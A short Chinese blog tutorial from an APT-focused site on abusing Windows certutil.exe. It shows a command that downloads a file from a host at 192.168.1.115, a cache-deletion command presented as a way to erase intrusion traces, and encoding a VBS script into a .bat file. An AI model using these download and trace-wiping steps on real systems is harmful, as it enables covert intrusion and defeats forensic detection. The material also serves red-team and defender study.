专注APT攻击与防御

https://micropoor.blogspot.com/

certutil微软官方是这样对它解释的：

Certutil.exe是一个命令行程序，作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构（CA）配置信息，配置证书服务，备份和还原CA组件以及验证证书，密钥对和证书链。url:https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows- server-2012-R2-and-2012/cc732443(v=ws.11)

但是近些年好像被玩坏了。

靶机：windows 2003 windows 7

certutil.exe -urlcache -split -f http://192.168.1.115/robots.txt

默认下载为bin文件。但是不影响在命令行下使用。

certutil.exe下载有个弊端，它的每一次下载都有留有缓存，而导致留下入侵痕迹，所以每次

下载后，需要马上执行如下：

certutil.exe -urlcache -split -f http://192.168.1.115/robots.txt delete

而在应急中certutil也是常用工具之一，来对比文件hash，来判断疑似文件。

Windows 2003：

Windows 7：

certutil的其它高级应用：

C:\>certutil -encode c:\downfile.vbs downfile.bat

file:downfile.bat

解密：

file:downfile.txt

后者的话：powershell内存加载配合certutil解密是一件非常有趣的事情。会在未来的系列中讲述。

Micropoor